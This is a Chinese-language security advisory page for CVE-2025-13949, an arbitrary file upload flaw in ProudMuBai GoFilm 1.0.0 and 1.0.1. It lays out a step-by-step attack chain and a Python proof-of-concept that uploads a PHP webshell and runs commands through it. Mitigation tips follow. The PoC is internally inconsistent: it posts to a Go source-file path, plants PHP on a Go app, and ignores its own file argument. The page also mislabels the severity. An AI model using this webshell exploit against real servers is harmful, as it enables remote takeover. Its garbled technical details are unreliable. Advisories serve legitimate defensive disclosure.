IPBUF安全漏洞报告
English
CVE-2025-13949 CVSS 6.3 中危

CVE-2025-13949 ProudMuBai GoFilm 任意文件上传漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-13949
漏洞类型
任意文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProudMuBai GoFilm

相关标签

CVE-2025-13949任意文件上传Unrestricted UploadGoFilmProudMuBai远程代码执行Web安全CWE-434

漏洞概述

CVE-2025-13949是ProudMuBai GoFilm 1.0.0和1.0.1版本中存在的一个高危安全漏洞。该漏洞位于/server/controller/FileController.go文件中的SingleUpload函数,由于对用户上传的文件缺乏充分的验证和过滤,攻击者可以通过构造恶意的文件上传请求,将任意类型的文件上传到服务器。攻击者可能利用此漏洞上传webshell或其他恶意文件,从而实现远程代码执行、持久化控制服务器等攻击目的。该漏洞可通过网络远程利用,虽然需要低权限认证,但由于用户交互要求为无,且攻击复杂度较低,因此具有较高的实际威胁性。漏洞发现者已联系厂商但未获得响应,目前漏洞利用代码已公开。

技术细节

该漏洞源于GoFilm应用的文件上传功能在处理用户提交的文件时,未对上传文件的类型、内容和扩展名进行严格的验证。具体问题出现在FileController.go的SingleUpload函数中,攻击者可以通过修改HTTP请求中的File参数,绕过客户端的文件类型检查,上传任意扩展名的文件(如.php、.jsp、.asp等可执行脚本文件)。由于服务器端缺少MIME类型检查和文件内容签名验证,恶意文件将被保存在可访问的web目录下。攻击者随后可以通过直接访问上传的文件路径来执行任意代码,实现对服务器的完全控制。此漏洞与经典的CWE-434(无限制危险类型文件上传)一致,属于OWASP Top 10中的安全配置错误类别。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标服务器,识别运行GoFilm 1.0.0或1.0.1版本的应用
STEP 2
步骤2
准备阶段:攻击者构造恶意文件(如PHP webshell、JSP马或ASP脚本)
STEP 3
步骤3
利用阶段:向/server/controller/FileController.go的SingleUpload端点发送文件上传请求,通过修改Content-Type或文件扩展名绕过客户端验证
STEP 4
步骤4
上传成功:恶意文件被保存在web可访问目录,服务器未进行MIME类型或内容验证
STEP 5
步骤5
远程代码执行:攻击者通过HTTP请求直接访问上传的恶意文件,执行任意系统命令
STEP 6
步骤6
持久化控制:攻击者可进一步植入后门、建立持久化连接,完全控制目标服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13949 PoC - ProudMuBai GoFilm Unrestricted File Upload # Target: GoFilm 1.0.0/1.0.1 def exploit_upload(target_url, file_path): """Exploit the unrestricted file upload vulnerability""" upload_url = f"{target_url}/server/controller/FileController.go" # Create malicious PHP file files = { 'File': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php') } try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") # Check if file was uploaded successfully if response.status_code == 200: print("[+] File upload appears successful!") # Try to access the uploaded shell shell_url = f"{target_url}/uploads/shell.php" shell_check = requests.get(f"{shell_url}?cmd=whoami", timeout=10) if shell_check.status_code == 200: print(f"[+] Shell uploaded at: {shell_url}") print(f"[+] Command output: {shell_check.text}") except Exception as e: print(f"[-] Error: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /path/to/malicious.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_upload(target, file_path)

影响范围

ProudMuBai GoFilm 1.0.0
ProudMuBai GoFilm 1.0.1

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1) 临时禁用文件上传功能;2) 配置WAF(Web应用防火墙)规则拦截异常文件上传请求;3) 对上传目录设置严格的文件权限,禁止脚本执行;4) 使用nginx配置限制上传目录的PHP/ASP/JSP等脚本执行;5) 加强服务器监控,及时发现异常文件上传行为;6) 限制非授权用户的文件上传权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表